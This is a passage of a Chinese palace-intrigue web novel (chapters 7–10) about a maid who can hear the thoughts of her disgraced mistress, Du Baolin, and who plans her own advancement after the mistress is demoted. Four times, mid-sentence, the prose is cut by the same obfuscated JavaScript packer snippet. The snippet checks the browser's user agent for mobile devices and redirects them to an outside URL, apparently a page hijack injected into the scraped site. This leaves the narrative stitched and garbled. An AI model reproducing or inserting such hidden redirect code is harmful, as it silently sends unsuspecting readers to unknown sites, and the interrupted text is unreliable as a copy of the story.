而刘顺就在一旁,他迅速出来跪了下来:“是奴才误会了宝林的命令,这才将夏蝉和文心两名宫女溺死在尚宫局外的池子里,全是奴才自作主张,与宝林无关。” 刘顺此话一出,杜明漪呵玳瑁自是信的,但钱继等人只会觉得刘顺是个忠仆,此番话是要撇清杜宝林的嫌疑。 杜明漪吸着鼻子,对钱继道:“狗奴才,这一切分明了吧,还不去报给皇上!” 玳瑁拉着杜宝林的胳膊,双腿一软跪在地上,心中将逻辑缓缓对上:若按刘顺说确实是他误会了主子,以为婕妤非直来直去的人,而是在给他下暗示,考察他的办事与心狠能力,这么一来确实是阴差阳错,可这说辞,除了她、宝林、刘顺,谁又能认呢? 谁会让太监去教训宫女?图太监扇巴掌力气大,羞辱人声音尖锐吗? 而更让她失魂的是,主子在这一刻也没有想出解决办法,想法仍旧单纯直白的可怕,这般在旁人眼中的胡搅蛮缠只会加重御前宫人的不信任。 “呵……”钱继低头道,“还是请宝林尽快迁居吧,如果宝林的宫人动作慢了,我带来的这些奴才可为宝林效劳。” “狗奴才,连我的命令也不听了吗?好啊,那我就去乾清宫找皇上!”杜明漪抬步就要走,却被钱继拦了下来。 他沉声道:“杜宝林,您是宝林,怕还劳烦不动御前的人,且您这时候就算去了御前,陛下不见您,您也是进不去的。我们这些狗奴才的活耽误不得,既然杜宝林不罢休不迁居,便由奴才们来代劳了。” 钱继挥了挥手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279956|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “动手。” 刘顺瞬间被两个太监压住带走,玳瑁则被当场行刑,因为一番折腾可能得明天才能将玳瑁送离皇宫。 玳瑁是杜家的家生子,是杜明漪带进宫的,并非宫中培养的奴才,虽然皇上只说了将玳瑁贬离杜宝林身边,可哪里的距离能有宫外远呢。 剩下的人则开始拿着册子帮杜宝林迁居,凡是织云殿原有的东西,仍留在织云殿,凡是在宝林位份上不该有的物件,不准带,还有杜宝林超了数量的宫人,也需明日将名册递到有一半管理后宫之权的贤妃手上,她是管这些的。 但杜宝林历来的赏赐多,皇上也没真计较到把赏赐也收回去,再一个,杜家也不差劲,给宫里的女儿递些银子还是能做到的。 杜明漪并非到了山穷水尽的地步。 但看着她最喜欢的织云殿落到现在这般模样,一个承受不住,杜明漪晕了过去。 跟着来的嬷嬷眼疾手快将杜明漪捞到手上,双手钳制着杜宝林的胳膊,以防真的晕倒躺在地上。 钱继在杜宝林晕倒后趁机让太监加快速度,不然杜宝林醒来捣乱可怎么办? 想到这儿,钱继的眉头舒展起来,杜宝林晕的可真是时候。 沈青青和冬儿站在一起,这形势已经不是她们能决定了,跟着开始迁居。 冬儿问:“发生了什么事?” 她们只见到了杜婕妤,不,现在应该称呼为杜宝林被一位高品级的公公称为宝林,杜宝林晕倒,玳瑁被杖责,不能停一刻的开始从织云殿迁到思过斋。 沈青青摇了摇头:“小心谨慎点总没错。不过,宫中有思过斋吗?” “从未听过有哪个宫舍叫这个名字。” 思过思过,一听便是住进去的嫔妃有了过错。 她们带着包袱跟着人流往思过斋去,她们前面的小太监长的格外白嫩,年龄差不多与沈青青和冬儿同龄,听着两人的闲谈,一个没忍住透露道:“原没有思过斋,是文思斋被皇上亲自改了名字。” 沈青青和冬儿低声又长长地哦了一声,露出原来如此的神色。 沈青青好奇道:“那我们主子是犯了什么事?竟然一下子从婕妤降为了宝林,如果不能说就算了。” 她和冬儿双目炯炯有神看向小太监。 小太监:“明天你们也要知道,提前告诉你们也无妨,杜宝林身边走的那两个三等宫女,被发现死在了池子里,叫什么……” 沈青青和冬儿对视一眼,寒意涌上心头,默默道:“夏蝉和文心。” “对!哦——瞧我这记性,你们应该是认识的。实际上杜宝林指使刘顺去解决了那两个宫女,两条活生生的人命啊,杜宝林忒狠心。” 何止认识,她们住一屋! 两人虽然与夏蝉和文心不对付,这时心里也不舒服起来,对比她们的小打小闹,杜宝林的手段才令人生寒。 沈青青单知道杜宝林不会放过夏蝉和文心,可吩咐一句,让下面的人暗中针对不是更好?非得要了两人的命,且还亲自指派,生怕抓不到她似的。 杜宝林进宫没看过宫规吗?宫规不仅对宫人生效,对妃嫔约束力也很大。 但想到杜宝林往日生猛的作风,这般也就不奇怪了…… 沈青青乱七八糟想着,很快到了思过斋,思过斋上的牌匾一看就是新做的,因为除了牌匾,思过斋是哪儿哪儿都旧。 哎,她当大宫女的梦想还没实现靠山就倒了,她是跑路呢,还是继续守着杜宝林的心声呆在思过斋? 杜宝林过早的暴雷并非全是坏处,好歹让沈青青知道了这个主子是个视人命如草芥的败类。 骑驴找马,再选一个有前途的主子的便是。 8. 第 8 章 沈青青和冬儿放下包袱便赶去了杜宝林那儿,珊瑚把床收拾好放杜宝林躺下,嬷嬷微垂着眼,将视线放到杜宝林身上。 现在杜宝林身边就剩了四名宫女,珊瑚、朝露、沈青青、冬儿。 朝露现在还不见人影,许是被什么事耽误住了。 思过斋主屋经久不住人,室内散发着一股霉味,珊瑚见她们来后,吩咐道:“你们两个,打水把屋里擦扫一遍,就回去睡吧,明天一早来杜宝林这儿候命。” 两人说是,开始找工具打扫。 珊瑚问嬷嬷:“主子一直昏睡,不如叫太医来瞧瞧?” 嬷嬷皱眉,夜里找太医比白天麻烦不说,杜宝林刚被贬,还是安分些好,且她瞧着杜宝林就是睡着了,没什么大碍,她说话硬邦邦的:“等明日宝林还这样,再去请太医也不迟。” 珊瑚说是,她身心俱疲,也不在这事上与嬷嬷争执。 虽然她作为杜宝林的大宫女以前是很风光,但现在她的话语权是绝对比不过陛下赐给宝林的申斥嬷嬷高,说不定以后思过斋就是这位嬷嬷的话事堂。 珊瑚问道:“嬷嬷可要让这两个小宫女将您的住处收拾出来?” 主子住的主屋都这样破败,更别提下人住的地方了,思过斋的前身文思斋,是放废书的地方,皇宫的藏书阁中会定期清理一部分书籍,这些书籍不好直接扔了,便放到了离藏书阁最近且一直未住人的文思斋。 思过斋也是离皇宫中心皇帝住处最远的地方。 若把后妃比作朝中官员,这跟流放没什么区别了。 珊瑚这话也意在问嬷嬷什么时候去睡。 嬷嬷看都没看珊瑚一眼:“不必,明日再去打扫,今晚我守着宝林。” 这种情况珊瑚自然也得守在主子身边,万一主子半夜醒来,发现身边没熟悉的人守夜,那后果珊瑚是想也不敢想。 沈青青和冬儿打扫完,自然听见了珊瑚和嬷嬷说话,于是见没什么吩咐,便退出去关上了门。 两人回到住处,又是一番打扫,思过斋房间不少,却小小的只能住下两个人。 虽然空间缩小了,但两个人住她们还是满意的。 等吹灯准备入睡时,隔壁的门吱呀呀响了,复又被点上了蜡烛,烛火透过门窗洒在外面的石板上。 沈青青说:“是朝露回来了。” 冬儿冷不丁道:“这么晚回来,怕是想离开杜宝林去想方法了。” 兵荒马乱的一晚结束,恐怕谁都想走吧。朝露会不会走未可知,但沈青青听出了冬儿的意动。 沈青青的声音充满困意:“先睡吧。” 明日的事明日再说吧,要走也得有门路,宫女调遣哪会容易。 翌日。 沈青青和冬儿出门,正好碰见隔壁的朝露,于是她们一起去宝林那里。 沈青青对朝露的印象一直都是嘴甜爱笑会来事儿,玳瑁常被她的话取悦到,便看她很是顺眼。但今日的朝露却非常安静,甚至是低调。 沈青青朝朝露看去,朝露察觉到视线,对她笑了笑。 怎么说呢,这个笑很高级,唇边的弧度很自然,棕色的眼瞳中盛着晨曦并不强烈的光,以至于后来她想起朝露就会想到这个笑容。 三人进入主屋的时候,屋内像被劫掠过一般,能倒的东西都倒了,能碎的东西都碎,一夜未睡的嬷嬷手上被指甲挖了一道,杜宝林向来看重她的指甲,养得长长的染上蔻丹。 珊瑚一脸疲惫,但没有大碍,嬷嬷的脸更严肃了,完全没想到她会在一个小小的宝林身上失利,她反省,或许是她久未出山,被养佛了性子。 皇上既然信任她,她必然要将杜宝林的性子给掰正。 这位嬷嬷姓方,在杜宝林醒来后她便率先报了家门,只可惜杜宝林压根没将她看在眼里,掀开被子就要下床离开这里,回到她的织云殿,去找皇上。 方嬷嬷自然拦着不让,杜宝林抬手要打,方嬷嬷伸手拦住。 发现两人的力气有别后,郁结于心的杜宝林开始发脾气,于是就有了沈青青见到的这一暮。 珊瑚在杜宝林和方嬷嬷间不好开口,见三人一起进来,吩咐道:“将这些都收拾了吧。” 于是沈青青就又开始干活。 在宫中小宫女就这待遇,被使唤来使唤去,升值成二等宫女就是专人干专事,清闲许多,成为大宫女,就只用陪在主子身边,一天能偷懒的时间多,被主子喜爱赏赐也会多,跟着主子出门的机会多,被谄媚的宫人叫姑娘的机会多,手上也会有点管辖的小权力。 大宫女的运动量大概就比主子多一点点。 一般宫妃一天也没什么事,早中晚膳,午间小憩,晚上早睡,上午下午的空闲时间或逛逛花园,或练练技艺,一天的时间就没了。 且嫔妃身边有两个大宫女,出门不需要带两个人时,其中一个就又没事了,妃嫔在自己宫里,需要两个大宫女同时在场的时候也少,其中一个人亦可暂离。 皇后更是可以有四个大宫女,但皇后得管理后宫,虽然增加了大宫女数量,但大宫女也许会更忙。 但这有什么,谁都想成为皇后的大宫女,风光且实权多。 一般情况下,妃嫔的品级越高,大宫女越是舒服。 沈青青的目标就是朝着大宫女进发。 但现在主子成了宝林,以宝林的品级只能有三名宫女,一名太监。宫女少了,主子的需求却没变,大宫女要干的事会比以往都多。 沈青青熟门熟路收拾好,以前在织云殿杜宝林也发过脾气,弄的一地碎瓷,不过等沈青青她们收拾时,珊瑚和玳瑁已经安抚好发泄过的杜宝林,将她带离了满是碎瓷的现场。 但现在思过斋地方小,实在没地方挪位置,珊瑚可能出于这种原因,仍放任杜宝林呆在床上。 沈青青在打扫时,杜宝林床边传来方嬷嬷一眼一板说教声。 开口便是:“宫规有言……宫规规定……” 将杜宝林说得跟个什么规矩都不懂的小妇一般。 不光杜宝林听得眼神涣散,沈青青也觉得头皮发麻,谁好好的,需要知道宫规里具体讲什么? 宫规三千多条,能一条条准确无误记下来的都是狠人。 沈青青进宫后被宫里的姑姑训练过,知道见什么人行什么礼说什么话,大体明白什么事能干,什么是不能干,再修炼好一静一动的姿态,便是个合格的宫女了。 似是感觉到见皇上无妄,亦或者被方嬷嬷给逼疯了,杜宝林反而沉静起来。 【宫规,宫规,早晚有一天……】 后面的心声太杂乱,沈青青没有听清,不过在干活的时候,因为杜宝林离她不远,心声都能听到。 但一个人的心声常常是杂乱无章断断续续的,除非有强烈的心思或是开口说话前下意识的组织语言时才会整个成句。 打扫的过程中,朝露被碎瓷割破了手,珊瑚整颗心都在杜宝林身上,并没有发现,沈青青倒是发现了,但因为朝露只拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279957|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帕子一绑,不欲声张,便也没出声。 也许是沈青青爱心泛滥,或者说她今日关注朝露的次数太多,为了掩盖这个异样她低声道:“朝露姐姐,你把用具上的灰尘擦一擦就好,收拾碎瓷片的活还是我来干吧。” 朝露欣然接受。 上午,思过斋都维持在一片萧瑟又安静的氛围中,除了杜宝林在抄宫规,方嬷嬷的声音没有起伏的响着。 下午,尚宫局便来人找杜宝林收走多出的宫人。 因方嬷嬷在思过斋,尚宫局的人态度就有点的模糊,要不要方嬷嬷占那一个宫女名额,是留给杜宝林三个宫女还是两个宫女。 太监只需要留一个人,原本刘顺的师父,织云殿前主事公公便迫不及待找杜宝林请辞,剩下的两个小太监,一个人也要走,另一个却觉得离了思过斋也分不到什么好地方,便选择留下来,留下来的那个叫小定子,脸圆圆的,木楞楞的,还爱睡觉。 朝露果真是要走,尚宫局来人便去向杜宝林请辞,她的理由也正当,手受伤了,恐怕不能全力伺候宝林。 冬儿找到沈青青,问:“你要走吗?” 沈青青拿不准,宫女调遣的正常流程是回尚宫局,再由尚宫局分配到各宫各局,宫中设立六局二十四司,宫女可以一步步升为女官,女官会协助皇后管理后宫,现在后位空悬,尚宫局、尚仪局、尚寝局由贤妃管理,尚服局、尚食局、尚宫局由德妃管理。如今太后离宫礼佛,她们二妃是后宫中权力最大的两人。 除此之外宫女的调遣,则是不走寻常路,通过打点,或是高位嫔妃看中,直接把人要到自己宫里,实现一步登天。 沈青青原本要走也会走正常流程,但奈何她现在多了个能听见杜宝林心声的能力,就让她迟疑许多。 她的能力只对杜宝林起效,而杜宝林又是她名义上的主子,那会不会这个能力只对她的直接上位者奏效? 若真如此,杜宝林就不是那个唯一,她更需要跟着一个有前途的妃嫔,来发挥这个金手指的最大能力。若杜宝林是那个唯一,她后续也只是变成一个普通宫女,对她没有任何坏处。 沈青青想要选择宫妃,按照正常流程入尚宫局、对尚宫局的人打点、入她中意的嫔妃宫中。可问题是,沈青青没有银子去打点,她剩下的首饰贱卖了也不够,届时可不是她想去哪儿就能如愿了。 沈青青最终纠结道:“我不走。”留下猥琐发育,攒银子,然后找人脉将她送进她考察过的嫔妃宫中。 她要赌,这个金手指不止对杜宝林生效。 冬儿颇为诧异,而后听过她略为窘迫的原因——没有打点银子,了然点了点头。相比沈青青的月月空,她手上还是攒着不少银子。 冬儿既然决定走,沈青青把药膏送给了冬儿,让她不要忘记一日两次,离那日只过去了短短两天,她的脸无甚变化。 因为这匣子药膏,冬儿已经给了相应的报酬,因此收下毫不扭捏。 而意料之中,这么多人一个个请辞,杜宝林再一次发了好大的火,但这回可没有瓷器给她摔了,思过斋碎掉的瓷器宫中还没补上。 尚宫局的名义正当,宫人又去意已定,结局杜宝林无法更改。 于是思过斋宫人只剩了珊瑚、沈青青、小定子,以及思过斋编外人员方嬷嬷。 杜宝林目光沉沉看向沈青青和小定子,最终做主将她提拔为二等宫女。 一切都变了样,但沈青青的二等宫女还是拿到了手,月奉也跟着涨了涨。 9. 第 9 章 沈青青之后去尚宫局领了两套二等宫女的服饰,虽然杜宝林发生了变故如坠云端,但沈青青没和杜宝林绑定的那么紧密,暂时没感受到什么落差。 只是活必不可免的多了。 思过斋在外面跑腿去膳、打水的活落到了小定子身上,庭院洒扫的活是沈青青和小定子合力来干,因为沈青青现在的活动范围多了个杜宝林住着的主屋,杜宝林用具的擦洗轮换也交给了她,不过珊瑚也会帮她干一部分。 除此之外,沈青青还多了个沏茶和给杜宝林上妆的任务。 即便落到如此境界,脸上时不时阴沉,杜宝林也不愿蓬头垢面,失了光彩,但思及现在的处境,不宜过分张扬,她到底只是让沈青青给她化了淡妆。 因为杜宝林心声的缘故,尤其是沈青青在给她上妆时,因为距离过近,那声音就像响在沈青青耳畔一样,无比亲密,让她分外不适应。 第一次时,因为沈青青的愣神杜宝林叫了她两声,她都没听见,直到心声疑惑沈青青为什么不回话,她才堪堪回神,连忙请罪,最后得到了杜宝林一个白眼,直到她将妆上完,杜宝林才勉强满意她。 事后沈青青每每想起,额头都要冒汗。 比起沈青青在思过斋适应性极强的模样,珊瑚的处境可谓一落千丈,现在她不仅需要侍候杜宝林,还需要听方嬷嬷吩咐,方嬷嬷以前应该是习惯了小宫女伺候,使唤起她毫不手软。 本来方嬷嬷想拿沈青青捏一捏,但沈青青理都不理她,问就是:“嬷嬷您看我这儿忙都忙不过来了,哪有时间干您吩咐的事儿,来,让让脚。” 方嬷嬷沉脸而去,之后吩咐事就开始找珊瑚,珊瑚叫苦不迭,可她因杜宝林被贬,腰杆也没那么硬了,只能听话。 且杜宝林日常的穿衣梳头因为更亲近珊瑚,都是让珊瑚来干,珊瑚也是由二等宫女升为大宫女的,这些她也熟练,能者多劳,多劳多累,日常琐事压在珊瑚身上,让她短短时间内下巴都尖了不少。 沈青青一看珊瑚被累得愈发蒲柳之姿,哪儿还敢那么卖力,连忙能偷懒就偷懒。 身为同事的小定子一看她这么上道,便给她传授起宫人的摸鱼必备技巧。 因为没有人监管和对比的缘故,用上正确方法的沈青青一天下来,居然感觉比在织云殿当三等宫女,四个宫女一起干活的时候轻松不少。 一时之间,沈青青和小定子的友谊突飞猛进起来。 因杜宝林之前到底是宠妃的缘故,她的好东西不少,至少沈青青给她泡茶一直没用过次品,第一天被砸碎的瓷器也是她自掏腰包补的。 杜宝林的库房钥匙掌握在珊瑚手里,也许只有珊瑚知道杜宝林的底蕴有多少了。 真可惜啊,朝露如果不走,这库房钥匙十有八九会落到她手里,毕竟她之前跟着玳瑁,而玳瑁又掌握着库房。 玳瑁因没有尽到规劝的职责走了,她手中的事宜必是会落到朝露手上。 但可能觉得杜宝林没前途了,走的很利索。 杜宝林每日上午和下午都会在跟着方嬷嬷学宫规,等到放风的时间,前几日还闷在主屋,随着一日又日毫无变化的处境,她死心了,不再抱着虚假的幻想,认为皇上还能想起她来,便不在窝在屋里,出来透透气,默默盯着沈青青干活。 杜宝林承宠是久,可越是久,她心里越是没底。 比起其他人,她入宫后的宠爱确实多,可也说了,那是比起其他人,单拎出来,她并不显眼。一个月四五次,六七天才能见一次圣面,见了还不一定能承宠,这么短的见面次数,加上皇上情绪又淡,以至于杜宝林始终摸不清皇上的脾性,找不到皇上宠她的原因。 找不到原因,她就不知道该如何使劲儿,只能一天天吩咐人去给皇上送补身体的汤。 杜宝林只知道,每一次和皇上相处她都会被撩拨心弦,每次承宠她都是开心喜悦的,大抵这便是爱吧。 她深爱着皇上,愿意展现男人最喜欢见到女人的那一面。 幼时她不懂母亲的手段,现在却将这种手段使用的炉火纯青。但一个人的本性是生来就定了的,她厌恶谁就一定到教训到位,譬如那些和她争宠的嫔妃,譬如以下犯上的那两个宫女,于是前者她想方设法破坏了她们媚上的手段,后者她让刘顺去教训教训她们。 但杜宝林真没想让那两个宫女死,教训的方法有很多种,谁知道刘顺那狗奴才听差了,将人弄死了,徒留她百口莫辩。 虽长于后宅,后又进宫,但杜宝林学会的都是小手段,出手就伤人性命的她遇见还要骂一句歹毒心肠呢。 完整听到杜宝林的心声,沈青青稍微犹豫了一下便相信了,毕竟谁会在心声上造假呢。 比起暂时侍奉一位连宫女都不放过的嫔妃,她还是更愿意相信这件事从头到尾都是场乌龙。 可虽是乌龙,两条人命的冤孽却是实打实落在了杜宝林的身上。 杜宝林复起艰难了。 因为有杜宝林在盯着,沈青青放弃偷懒,干活特别卖力。 而杜宝林这一站,就是一刻钟,她心想这小宫女忠诚,且重振旗鼓的第一步,就是要收拢手下人的心,于是她对沈青青招手:“过来。” 沈青青放下扫帚,小跑在杜宝林面前,站在台阶下:“请主子安,主子有何吩咐?” 杜宝林将手上成色极好的玉扳指取下:“喏,赏给你了。” 沈青青接过,声线飞扬道谢。 听到少女的嗓音,自觉老成的杜宝林感觉到久未的朝气,眯了眯眼:“去吧。” 其实现在距离杜宝林意气风发当婕妤时也不过半个月。 沈青青离开,杜宝林对身旁的珊瑚说:“能下定决心跟着本宝林不容易,沈青青和小定子各赏五两,你一人十两,令每月留三十两应对思过斋的突发状况。珊瑚,这几日你受累了,除了十两,本宝林还允诺你去库房挑一件物品。” 珊瑚跪地,抬头看杜宝林,泪水情不自禁流了出来:“奴婢定终身追随主子。” 杜宝林自是感动,亲自扶她起来。 珊瑚带着哭腔道:“主子,奴婢觉得您还没输,只要争一争,复宠指日可待!” 杜宝林:“有你这样的忠仆在,本宝林怎会颓废下去,不过重走一遍先前的路,我何怕之?” 这一遭变故,让杜宝林沉了心静了气,不再和以前一样说发脾气就发脾气,更深的东西藏在了眼眸深处。 珊瑚心情激动,觉得这半个月受得苦并不算什么。 杜宝林给的赏银是珊瑚亲自去发的,她以前管着那么多人,最擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279958|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的就是如何帮主子施恩,一番敲打下来,言明了宝林如何不容易还记挂着他们,换个心软的,保准说的眼泪汪汪。 沈青青垂首,一副感动不已的样子,至于眼泪,没有。 进宫前她就是好人家的女儿,进宫后虽然当了奴才,但由于连主子面都见不到,也不会有人对她耳提面命做个忠仆,只感受到了当主子的威严。 加上前世的记忆一觉醒,她只想高歌,起来,不愿做奴隶的人们! 什么忠仆?她是人民! 天下熙熙皆为利来,天下攘攘皆为利往,沈青青相信,宫中利己的才是大多数,主子又非生身父母,哪能让人不顾一切的效忠? 珊瑚押宝杜宝林,她却不看好。 但杜宝林现在给她赏银,那杜宝林就是好人,所以在道义和宫规范围之内,沈青青愿意为杜宝林尽心尽力几个月。 再多的,便没了。 如果五两银子能换来一个人的效忠,天底下的娘娘都得笑掉大牙。 珊瑚将赏银交给沈青青后,便去找小定子了。 收了赏银,沈青青安分的观察了两日,发现小定子仍旧如常,没有感激涕零到要去找杜宝林表忠心,于是感叹了句同道中人,便去继续干活了。 底下人的心思,珊瑚如何不知,但杜宝林的处境没法让她要求那么高,她只希望杜宝林成功完成复宠,届时底下的人便能一心了。为此她去了尚服局的司衣司了数趟,花费了不菲的代价才拿回来了一件惊艳绝伦的红色舞衣,且每天晚上她都会帮杜宝林疏通筋骨。 杜宝林的舞艺是从小的功底,即便最近两年不练了,现在重新捡起来也不是什么大问题。 且杜宝林进宫前曾准备过一段舞蹈,是杜家聘请京城最厉害的舞娘编出来的舞蹈,只等找机会惊艳四座。 没想到盛宠时她没机会拿出来,这个时候却成了救命稻草。 时也命也。 这种事主仆二人都是避开了方嬷嬷来干,那方嬷嬷,杜宝林提起来都要生怒。 但思过斋的事情瞒不过后宫有权力的妃子,德妃掌管着尚服局,底下的人第一时间将这件事报给了德妃。 永寿宫内,德妃坐在舒适的圈椅上,倾身伏在书案边翻看厚厚一摞的账本,单手提着细毛笔,案桌上小熏炉被点燃,淡淡熏香在弥漫。 德妃侧耳听着司衣司正六品司衣的禀报,听罢在账本上落下一字。 “本宫知晓了。” 司衣躬身退下。 德妃的大宫女石榴不满道:“司衣司的人都将衣服交给了思过斋,司衣才向娘娘来禀报,娘娘何不寻了司宫司的错处?” 德妃含笑道:“司衣司并非牢固的铁通,宫人又各有心思,杜氏又大方,出事再正常不过了,何必要罚。正巧趁着这个机会好好整顿一下司衣司,将司衣司捏到本宫手里,岂不更好?” 石榴窘迫道:“是奴婢相差了,还是娘娘有御人之道。” 德妃意味不明笑了一下:“将思过斋的消息递给明月阁的高美人,以她的心气知道该怎么做。” 她喃喃道:“杜氏思过三个月足矣,七月初七的七夕巧筵,应当会很热闹,她越是想要复起,本宫越要让她摔的更惨。” 宫中大抵没有嫔妃不妒恨杜明漪了。 10. 第 10 章 思过斋有藏书这事,沈青青来的第一天就知道了,放藏书的阁楼守着一位老太监,天气一好他就会将一些发霉严重的书籍拿出来晒晒太阳。 而这个书阁就在杜宝林主屋的斜对面,那老太监虽不属于杜宝林的人,却与他们抬头不见低头见。 老太监喜欢喝酒,常拿月例去找有门路的太监宫女从司酿司换些劣酒,这些酒就算不售卖给宫人,也会被当成次品倒掉,别看售价不高,却因无本的买卖,利润颇高,司酿司轻易不会断了这门生意。 加上老太监工作清闲,不怕喝酒误事,最多是喝懵了头,起得晚了。 而且他完全不用加班,这些废书最怕明火,就意味着晚上不能点灯,不能点灯就只用守着书呼呼大睡了。 沈青青羡慕极了,她日常除了听杜宝林的心声外,唯一的交流便是和小定子。小定子常在外面跑,会带回来一些消息,比如哪位嫔妃又往御前送汤了,比如皇上晚上又宿在了哪儿,比如哪两个主子间因什么事闹了矛盾。 没了杜宝林,他们这位皇上也没有停歇下来,只不过将原本杜宝林占据的次数分给了其他宫中,一时之间,后宫的嫔妃都高兴了起来。 其中,除了明月阁的高美人风头正盛,晴芳居的卫贵人也有崛起之势。卫贵人原本在太子府只是个最低位的奉仪,出身江南富商卫家旁支,因为足够美被送给了当时的太子。 然而皇上还是太子时并不沉溺于后宅,只一心在朝堂上建起自己的势力,因此卫鸣鸾只是刚进太子府时惊艳了下众人,便沉寂了下去,后太子登基,太子府的姬妾太少,卫鸣鸾便被封了贵人,此后位份一动未动。 沈青青也很惊讶,带着近距离吃瓜的兴奋感心想,卫贵人是有争的心思,可惜皇上当太子时不热衷于那事,美色没有发挥余地,只好蛰伏起来,后来又碰上了大选出身的杜宝林。只见今人笑不见旧人哭,皇上目光在杜宝林身上,卫贵人难道能强行改变皇上喜好? 自家主子一手好牌打的稀烂,卫贵人却能抓住机会赶紧往上爬,跟这样的主子一定很有前途。 沈青青默默掏出本子记上代表卫贵人的鸟,她现在一个人住一屋,隐私性得到大幅度提高,原本只能记在脑子里的东西现在可以转移到本子上,只不过得用特殊标记才行。卫贵人既然名字中带鸾,便用鸟命名吧。 既然要选择嫔妃,这几个月就得好好考察。 至于高美人和惠贵嫔,根本不在她的选择名单上,前者沈青青见过几次,性情清高不懂变通,遇见当时还是婕妤的杜宝林,被罚跪在御花园中,居然没有立刻让宫女去找皇上或是德妃贤妃做主,反而背挺得笔直就跪那儿了,只有神情凌冽如寒霜,眼睛轻蔑如看路边石子。 好歹有点宠爱在身,却连杜宝林都斗不过,未来属实堪忧。 至于惠贵嫔,因为翠环的那根金簪她尚心虚着呢,这段时间翠环也没主动来找她,沈青青还默默松了一口气,至于主动撞上去?不妥不妥。 在之后就是德妃和贤妃,因两人掌管着宫务,皇帝冷落了谁都不可能冷落了她们,有空就会去德妃的永寿宫,贤妃的景仁宫坐一坐。但既给了宫权,宠爱必不可免就分薄了。 后宫在皇上的分配下维持在一个微妙的平衡上。 还有一件事,皇上虽未提起封后事宜,但眼见着距离明年大选只有不足一年的时间,到时怎能没有中宫主持,所以私底下颇有一种暗潮流动的感觉。 德妃和贤妃作为封后的大热门,永寿宫和景仁宫日日都很热闹。 在沈青青的本子上,德妃代表物是梨,因为她姓李,贤妃的代表物是月亮,她名裳月,月亮很适合她。 除此之外,这个月,皇上也去长春宫找颜修仪睡过一觉。 颜修仪势头不猛,但胜在稳,身为太后的娘家人,只要她不作死就不会死。况且从颜修仪的位份上看,皇上跟太后关系不差,可能还是个孝子。 所以颜修仪也在沈青青的考察本上,颜修仪本名颜英华,一听就是个美貌又英气的女子,所以她的代表物是一朵花花。 最后是大选后到现在都没出头的两位宝林两位才人,她不做考虑。 沈青青捧着自己的本子,珍之重之在卫贵人的小鸟后面打了个五角星。沉寂许久还能出头,优! 思过斋的下人就这么几个,方嬷嬷独来独往,珊瑚不离杜宝林的身,沈青青、小定子因躲闲的友谊厮混在一起。 这天,因为和小定子帮喝大摔倒在台阶下的书阁老太监扶起来,老太监也加入了他们的每日闲聊中,思过斋混日子小队伍再加一员。 令人惊喜的是,老太监因为七岁就进宫,后辗转在宫内各个地方,又幸运地活到现在这个岁数,对宫内的阴私知道颇多。 甚至对皇上的皇祖父那一辈的后宫也有所了解。 没有人能拒绝起八卦,老太监也不能,渐渐地沈青青模糊知道几个先帝时候的嫔妃。 当然,说话时间多了,老太监自觉他们耽误了他的时间,便理直气壮要求沈青青和小定子帮他将晒完的书整理放回去。 沈青青只好答应,不然,没了老太监的八卦,这思过斋可太无聊了。 在整理书籍时,小定子忽然问沈青青:“你认字?”她整理书籍并非随意放置,而是分门别类进行归置,还颇嫌弃老太监晒过的书重复晒。 沈青青心想这有什么,点了点头:“对啊。” 小定子的视线倏然变了,不再是那般懒懒散散得过且过的模样:“认得多吗?” “正常读话本没问题,科举肯定是不行的。”沈青青出生时沈家作为商户已经走了几年下坡路,但还没亏了子女的教育问题。 但这个时代更多人,是压根没机会识字的。 沈青青谨慎道:“你要做什么?” 小定子坦言:“你教我几个月字,之后,我可以将你塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279959|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进你想进的嫔妃宫中。” 沈青青满脑门问好:“你有这本事?不是,你为什么会觉得我会离开思过斋,还有,我为什么要相信你?” 